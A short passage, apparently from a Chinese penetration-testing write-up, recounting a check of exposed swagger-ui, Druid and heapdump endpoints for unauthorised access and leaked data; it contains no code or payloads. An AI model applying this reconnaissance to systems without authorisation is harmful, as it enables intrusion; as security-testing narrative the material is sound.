+![](https://mmbiz.qpic.cn/sz_mmbiz_png/oUbjnPfa26ZHFeTkCicq5iavcd8yTjRHuRSBCXxjfJmeDQIFOymWOJl5NPZ8zAxupo1ZibGiaia3Gy4Xiahayb3ssCpA/640?wx_fmt=png&from=appmsg "") + +最关心的自然是 druid 和 swagger-ui 以及 heapdump 了。 + +swagger-ui 存在 DOM-XSS,也存在着未授权。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oUbjnPfa26ZHFeTkCicq5iavcd8yTjRHuR3SODq2Zf26EwSvliaPRJqkGJQNsqoGcjYP0ttaK2Yic8oyatTRXNpeAQ/640?wx_fmt=png&from=appmsg "") + +使用 swagger-hack 脚本跑了一下,大部分都是需要 token 认证的,尝试了个别不需要 token 的,但是没有发现存在什么漏洞。 + +虽然存在着 druid 未授权,但不存在弱口令。里面也没找到什么有价值的信息。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oUbjnPfa26ZHFeTkCicq5iavcd8yTjRHuRpmCVSIRibL5YvSM3MJgKwL4ZRTJAYleZVwursDj5WPefG6DDgun2wAg/640?wx_fmt=png&from=appmsg "") + +heapdump 更不用多说。 + +然后就是一一查看跑出来的其他路径,看看是否泄露了其他的敏感信息。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oUbjnPfa26ZHFeTkCicq5iavcd8yTjRHuRA55eEs0mLS2Jr6RrJzzOhyyzXj9c7VQRMxrsCZok3fgTzBuOcDZpBg/640?wx_fmt=png&from=appmsg "") + + + +。  +